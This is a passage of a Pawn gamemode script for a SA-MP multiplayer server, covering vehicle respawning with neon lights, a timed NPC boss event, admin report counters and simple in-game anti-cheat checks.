			 new Float:angle = vInfo[card][cAngle];
			 new color1 = vInfo[card][cColor1];
			 new color2 = vInfo[card][cColor2];
			 new NeonX = vInfo[card][cNeon];

			 new carid = CreateVehicle(model,posx,posy,posz,angle,color1,color2,-1);

				PINFO[playerid][pCar_4] = carid;
				PlayerInfo[playerid][pCar_4] = carid;
			 SaveKonVal(playerid, "pCar_4", PINFO[playerid][pCar_4]);

			 if(vInfo[card][cHealth] <= 249.9)
			 {
				vInfo[card][cHealth] = 1000.0;
				SaveKonFloatV(card, "cHealth", 1000);
				if(vInfo[card][cInsurance] <= 0)
				{
					vInfo[card][cFixed] = 0;
					SaveKonValV(card, "cFixed", 0);
				}
				else
				{
					vInfo[card][cInsurance] --;
					SaveKonValV(card, "cInsurance",  vInfo[card][cInsurance]);
				}
			 }
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 SetVehicleNumberPlate(carid, vInfo[card][cPlate]);
			 Benzin[carid] = vInfo[card][cFuel];
			 SetVehicleHealth(carid, vInfo[card][cHealth]);
			 ModVehicle(playerid,carid);
			 UpdateVehicleDamageStatus(carid,vInfo[card][cPanel],vInfo[card][cDoors],vInfo[card][cLights],vInfo[card][cTires]);
			 if(NeonX == 18648)// Blue
			 {
			 CarNeons[carid][0] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][1] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][2] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][3] = CreateObject(18648,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][0], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][1], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][2], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][3], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18647)// Red
			 {
			 CarNeons[carid][4] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][5] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][6] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][7] = CreateObject(18647,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][4], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][5], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][6], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][7], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18649)// Green
			 {
			 CarNeons[carid][8] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][9] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][10] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][11] = CreateObject(18649,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][8], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][9], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][10], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][11], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18652)// White
			 {
			 CarNeons[carid][12] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][13] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][14] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][15] = CreateObject(18652,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][12], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][13], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][14], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][15], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18651)// Pink
			 {
			 CarNeons[carid][16] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][17] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][18] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][19] = CreateObject(18651,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][16], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][17], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][18], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][19], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18650)// Yellow
			 {
			 CarNeons[carid][20] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][21] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][22] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][23] = CreateObject(18650,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][20], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][21], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][22], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][23], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 vInfo[card][cLock] = 1;
			 SaveKonValV(card, "cLock", 1);
			 for(new i = 0; i < Akharish; i++ )
			 {
				SetVehicleParamsForPlayer(carid,i,0,1);
					LockIs[carid][i] = 1;
			 }

		  }
	   }
		if(PlayerInfo[playerid][pVeh5] != 0)
	   {

			new card = PINFO[playerid][pVeh5];

		  if(vInfo[card][gParked] == 0)
		  {

				new model = vInfo[card][cModel];
			 new Float:posx = vInfo[card][cLocationx];
			 new Float:posy = vInfo[card][cLocationy];
			 new Float:posz = vInfo[card][cLocationz];
			 new Float:angle = vInfo[card][cAngle];
			 new color1 = vInfo[card][cColor1];
			 new color2 = vInfo[card][cColor2];
			 new NeonX = vInfo[card][cNeon];

			 new carid = CreateVehicle(model,posx,posy,posz,angle,color1,color2,-1);

				PINFO[playerid][pCar_5] = carid;
				PlayerInfo[playerid][pCar_5] = carid;
			 SaveKonVal(playerid, "pCar_5", PINFO[playerid][pCar_5]);

			 if(vInfo[card][cHealth] <= 249.9)
			 {
				vInfo[card][cHealth] = 1000.0;
				SaveKonFloatV(card, "cHealth", 1000);
				if(vInfo[card][cInsurance] <= 0)
				{
					vInfo[card][cFixed] = 0;
					SaveKonValV(card, "cFixed", 0);
				}
				else
				{
					vInfo[card][cInsurance] --;
					SaveKonValV(card, "cInsurance",  vInfo[card][cInsurance]);
				}
			 }
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 SetVehicleNumberPlate(carid, vInfo[card][cPlate]);
			 PlayerInfo[playerid][pCar_5] = carid;
			 SaveKonVal(playerid, "pCar_5", carid);
			 Benzin[carid] = vInfo[card][cFuel];
			 SetVehicleHealth(carid, vInfo[card][cHealth]);
			 ModVehicle(playerid,carid);
			 if(NeonX == 18648)// Blue
			 {
			 CarNeons[carid][0] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][1] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][2] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][3] = CreateObject(18648,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][0], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][1], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][2], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][3], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18647)// Red
			 {
			 CarNeons[carid][4] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][5] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][6] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][7] = CreateObject(18647,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][4], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][5], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][6], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][7], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18649)// Green
			 {
			 CarNeons[carid][8] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][9] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][10] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][11] = CreateObject(18649,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][8], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][9], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][10], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][11], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18652)// White
			 {
			 CarNeons[carid][12] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][13] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][14] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][15] = CreateObject(18652,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][12], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][13], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][14], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][15], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18651)// Pink
			 {
			 CarNeons[carid][16] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][17] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][18] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][19] = CreateObject(18651,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][16], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][17], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][18], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][19], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18650)// Yellow
			 {
			 CarNeons[carid][20] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][21] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][22] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][23] = CreateObject(18650,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][20], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][21], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][22], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][23], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 UpdateVehicleDamageStatus(carid,vInfo[card][cPanel],vInfo[card][cDoors],vInfo[card][cLights],vInfo[card][cTires]);
			 vInfo[card][cLock] = 1;
			 SaveKonValV(card, "cLock", 1);
			 for(new i = 0; i < Akharish; i++ )
			 {
				SetVehicleParamsForPlayer(carid,i,0,1);
					LockIs[carid][i] = 1;
			 }

		  }
	   }
		if(PlayerInfo[playerid][pVeh6] != 0)
	   {

			new card = PINFO[playerid][pVeh6];

		  if(vInfo[card][gParked] == 0)
		  {

				new model = vInfo[card][cModel];
			 new Float:posx = vInfo[card][cLocationx];
			 new Float:posy = vInfo[card][cLocationy];
			 new Float:posz = vInfo[card][cLocationz];
			 new Float:angle = vInfo[card][cAngle];
			 new color1 = vInfo[card][cColor1];
			 new color2 = vInfo[card][cColor2];
			 new NeonX = vInfo[card][cNeon];

			 new carid = CreateVehicle(model,posx,posy,posz,angle,color1,color2,-1);

				PINFO[playerid][pCar_6] = carid;
				PlayerInfo[playerid][pCar_6] = carid;
			 SaveKonVal(playerid, "pCar_6", PINFO[playerid][pCar_6]);

			 if(vInfo[card][cHealth] <= 249.9)
			 {
				vInfo[card][cHealth] = 1000.0;
				SaveKonFloatV(card, "cHealth", 1000);
				if(vInfo[card][cInsurance] <= 0)
				{
					vInfo[card][cFixed] = 0;
					SaveKonValV(card, "cFixed", 0);
				}
				else
				{
					vInfo[card][cInsurance] --;
					SaveKonValV(card, "cInsurance",  vInfo[card][cInsurance]);
				}
			 }
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 SetVehicleNumberPlate(carid, vInfo[card][cPlate]);
			 Benzin[carid] = vInfo[card][cFuel];
			 SetVehicleHealth(carid, vInfo[card][cHealth]);
			 ModVehicle(playerid,carid);
			 if(NeonX == 18648)// Blue
			 {
			 CarNeons[carid][0] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][1] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][2] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][3] = CreateObject(18648,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][0], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][1], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][2], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][3], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18647)// Red
			 {
			 CarNeons[carid][4] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][5] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][6] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][7] = CreateObject(18647,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][4], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][5], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][6], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][7], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18649)// Green
			 {
			 CarNeons[carid][8] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][9] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][10] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][11] = CreateObject(18649,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][8], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][9], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][10], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][11], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18652)// White
			 {
			 CarNeons[carid][12] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][13] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][14] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][15] = CreateObject(18652,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][12], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][13], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][14], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][15], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18651)// Pink
			 {
			 CarNeons[carid][16] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][17] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][18] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][19] = CreateObject(18651,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][16], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][17], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][18], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][19], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18650)// Yellow
			 {
			 CarNeons[carid][20] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][21] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][22] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][23] = CreateObject(18650,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][20], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][21], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][22], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][23], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 UpdateVehicleDamageStatus(carid,vInfo[card][cPanel],vInfo[card][cDoors],vInfo[card][cLights],vInfo[card][cTires]);
			 vInfo[card][cLock] = 1;
			 SaveKonValV(card, "cLock", 1);
			 for(new i = 0; i < Akharish; i++ )
			 {
				SetVehicleParamsForPlayer(carid,i,0,1);
					LockIs[carid][i] = 1;
			 }

		  }
	   }

}
forward SetStringTDs();
public SetStringTDs() {


new tmphour;
new tmpminute;
new tmpsecond;
gettime(tmphour, tmpminute, tmpsecond);
tmphour = shifthour;
switch(tmphour)
    {
      case 1,3,7,10,12,15,18,21,23:
      {
	   if(tmpminute==0)
	   {
        if(Iter_Count(Player)>=5)
        {
          if(BossArea!=-1)return 1;
          Boss=FCNPC_Create("BOSS");
          Angel=FCNPC_Create("Angel");
          if(Boss==INVALID_PLAYER_ID||Angel==INVALID_PLAYER_ID)
          {
            if(FCNPC_IsValid(Boss))FCNPC_Destroy(Boss);
            if(FCNPC_IsValid(Angel))FCNPC_Destroy(Angel);
            Boss=-1;
            Angel=-1;
            //ThereIsBoss=false;
            return AdminWarn("{FFFFFF}Server wants spawn boss but something went wrong");
          }
          BossSpawnLocation=random(2);
          FCNPC_Spawn(Angel,216,AngelSpawns[BossSpawnLocation][0],AngelSpawns[BossSpawnLocation][1],AngelSpawns[BossSpawnLocation][2]);
          FCNPC_SetAngle(Angel,AngelSpawns[BossSpawnLocation][3]);
          FCNPC_SetInvulnerable(Angel);
          FCNPC_Spawn(Boss,217,BossCircleAreas[BossSpawnLocation][0],BossCircleAreas[BossSpawnLocation][1],BossCircleAreas[BossSpawnLocation][2]);
          FCNPC_SetWeapon(Boss, 31);
          FCNPC_SetAmmo(Boss, 7070);
          FCNPC_SetWeaponAccuracy(Boss, 31, 1.0);
          FCNPC_SetWeaponReloadTime(Boss, 31, 0);
          FCNPC_SetWeaponSkillLevel(Boss, WEAPONSKILL_M4, 1000);
          FCNPC_SetWeaponState(Boss, 2);
          FCNPC_SetHealth(Boss, 50000.0);
          SetPlayerColor(Boss, 0xFF0000FF);
          FCNPC_SetAnimation(Boss,390,4.0,0,0,0,1,0);
          CreateBossTD();
          SetupBossTD();
          BossArea=CreateDynamicRectangle(BossRectangleAreas[BossSpawnLocation][0],BossRectangleAreas[BossSpawnLocation][1],BossRectangleAreas[BossSpawnLocation][2],BossRectangleAreas[BossSpawnLocation][3]);
          BossArea2=CreateDynamicCircle(BossCircleAreas[BossSpawnLocation][0],BossCircleAreas[BossSpawnLocation][1],25.0,0,0);
          AttachDynamicAreaToPlayer(BossArea2,Boss);
          BossLabel=CreateDynamic3DTextLabel("Zzz...\nzZz...", 0xFF0000FF,BossCircleAreas[BossSpawnLocation][0],BossCircleAreas[BossSpawnLocation][1],BossCircleAreas[BossSpawnLocation][2],100.0,.attachedplayer=Boss);
          AngelLabel=CreateDynamic3DTextLabel("The Angel\nType /angel", 0x00FF00FF,AngelSpawns[BossSpawnLocation][0],AngelSpawns[BossSpawnLocation][1],AngelSpawns[BossSpawnLocation][2],30.0,.attachedplayer=Angel);
          BossTimer=SetTimer("BossDestroyer", 1800000, false);
          //SetPlayerAttachedObject(Boss, 0, 2908, 2, 0.0668, 0.0458, 0.0000, 180.0000, 0.0000, 90.0000, 1.1840, 1.4400, 1.3748, 0xFFFFFFFF, 0xFFFFFFFF);
          SetPlayerAttachedObject(Boss, 0, 2908, 2, 0.070000, 0.044000, 0.010000, -180.000000, 3.899996, 90.000000, 1.505000, 1.707000, 1.865000, 0, 0); // This Line Recorded by @Hidden_Programmer
          SetPlayerAttachedObject(Boss, 1, 2907, 1, -0.018000, 0.045000, 0.015000, 90.000000, 180.000000, -90.000000, 1.259000, 1.031999, 1.310999, 0, 0); // This Line Recorded by @Hidden_Programmer
          SetPlayerAttachedObject(Boss, 2, 2906, 5, -0.169999, 0.032000, -0.032999, 0.000000, -5.799998, -90.000000, 2.262999, 1.187999, 1.770001, 0, 0); // This Line Recorded by @Hidden_Programmer
          SetPlayerAttachedObject(Boss, 3, 2906, 6, -0.159000, 0.034000, -0.058000, 8.399998, -8.800000, -90.000000, 2.263000, 1.000000, 1.835000, 0, 0); // This Line Recorded by @Hidden_Programmer
          IsBossAsleep=true;
          //ThereIsBoss=true;
          SetPlayerColor(Angel, 0x00FF00FF);
          ForEachPlayer(i)
          {
            BossScore[i]=0;
          }
          SendClientMessageToAll(COLOR_SINAGHERMEZ,"[BOSS-EVENT]: {FFFFFF}The mad bloodlust boss has been appeared at the world, Use /wita to find him.");
        }
	   }
      }
    }





new reports[128],helpmes[128],narobadi1=0,narobadi2=0;
if(reportsc >= 1)
{
if(CurColorTD1 == 0)
{
format(reports, sizeof(reports), "Reports: ~b~%d",reportsc);
TextDrawSetString(ReportsTD, reports);
CurColorTD1 = 1;
narobadi1=1;
}
if(CurColorTD1 == 1 && narobadi1!=1)
{
format(reports, sizeof(reports), "Reports: ~g~%d",reportsc);
TextDrawSetString(ReportsTD, reports);
CurColorTD1 = 0;
}
}
else
{
format(reports, sizeof(reports), "Reports: ~g~%d",reportsc);
TextDrawSetString(ReportsTD, reports);
}
if(helpmesc >= 1)
{
if(CurColorTD2 == 0)
{
format(helpmes, sizeof(helpmes), "Helpmes: ~b~%d",helpmesc);
TextDrawSetString(HelpmesTD, helpmes);
CurColorTD2 = 1;
narobadi2=1;
}
if(CurColorTD2 == 1 && narobadi2!=1)
{
format(helpmes, sizeof(helpmes), "Helpmes: ~g~%d",helpmesc);
TextDrawSetString(HelpmesTD, helpmes);
CurColorTD2 = 0;
}
}
else
{
format(helpmes, sizeof(helpmes), "Helpmes: ~g~%d",helpmesc);
TextDrawSetString(HelpmesTD, helpmes);
}
return 1;
}
forward flyfree(playerid);
public flyfree(playerid)
{
if(IsPlayerConnected(playerid))
  {
	FlyHack[playerid] = 0;
  }
}
forward abfree(playerid);
public abfree(playerid)
{
if(IsPlayerConnected(playerid))
  {
	AirBrk[playerid] = 0;
  }
}
forward tpfree(playerid);
public tpfree(playerid)
{
if(IsPlayerConnected(playerid))
  {
	TPHack[playerid] = 0;
  }
}
forward speedct(playerid);
public speedct(playerid)
{
if(IsPlayerConnected(playerid))
  {
	Speedct[playerid] = 0;
  }
}
forward shack(playerid);
public shack(playerid)
{
if(IsPlayerConnected(playerid))
  {
	SetPlayerColor(playerid, -1);
	mpop[playerid] = 5566;
	TogglePlayerControllable(playerid, 0);
	SetPlayerPos(playerid, 1451.5844,-1065.7572,213.3828);// New by Sina
	if(PINFO[playerid][pSex]==1)
	{
	SetPlayerSkin(playerid, 170);
	}
	else
	{
	SetPlayerSkin(playerid, 91);
	}
	SetPlayerInterior(playerid, 0);
	SetPlayerVirtualWorld(playerid, playerid);
	SetPlayerFacingAngle(playerid, 359.412506);
	SetCameraBehindPlayer(playerid);
	TextDrawShowForPlayer(playerid,shacklog);
	//GangZoneShowForPlayer(playerid,meshki,0x3E3535FF);
	LoggTIME2[playerid] = SetTimerEx("shack2", 2000, false, "i", playerid);
  }
}
/*
forward Check(playerid);
public Check(playerid)
{
	new Float:x, Float:y, Float:z;
	GetPlayerCameraFrontVector(playerid, x, y, z);
	#pragma unused x
	#pragma unused y
	if(z < -0.8)
	{
	   TogglePlayerControllable(playerid, 1);
	   SendClientMessage(playerid, -1, "{FF0000}[ANTI-CHEAT]:{C60000} Our {FF0000}Anti-Cheat{C60000} detected cheat on you.");
	   SendClientMessage(playerid, -1, "{FF0000}[ANTI-CHEAT]:{C60000} First remove your cheats and come again, you have been kicked.");
	   Kick(playerid);
	}
	else
	{
	   TogglePlayerControllable(playerid, 1);
	   //SendClientMessage(playerid, -1, "Without hask, good game" );
	}
	return 1;
}
*/
/*forward Kickle(playerid);
public Kickle(playerid)
{
Kick(playerid);
}
forward antisobeit(playerid);
public antisobeit(playerid)
{
new slot[2];
GetPlayerWeaponData(playerid, 1, slot[0], slot[1]);
if(slot[0] == 2)
{
SendClientMessage(playerid, -1, "Azin Game: Shoma Cheat Darid! Lotfan Aval Pakesh Konid Bad Biaid");
SetTimerEx("Kickle", 580, false, "i", playerid);
}else{
SendClientMessage(playerid, -1, "Azin Game: Our Anti-Cheat System Is Loading...");
TogglePlayerControllable(playerid, 1);
KontrolEdildi[playerid] = 1;
SpawnPlayer(playerid);
return 1;
}
	return 1;
} */
new Float:sdt[MAX_PLAYERS];
forward shack2(playerid);
public shack2(playerid)
{
	if(IsPlayerConnected(playerid))
	{
		//if(PINFO[playerid][pLau] == 2) return KickWithMessage(playerid,COLOR_LIGHTRED,"You have been kicked. remove your cheats and try again.");
		new Float:x,Float:y,Float:z;
		GetPlayerCameraFrontVector(playerid, x, y, z);
		sdt[playerid] = z;
		LoggTIME3[playerid] = SetTimerEx("shack3", 3000, false, "i", playerid);
	}
	else
	{

		if(IsPlayerConnected(playerid))
		{
			TogglePlayerControllable(playerid,1);
			SpawnPlayer(playerid);
			mpop[playerid] = 0;
			new playername2[25];
			new string2[144];
			GetPlayerName(playerid,playername2,25);
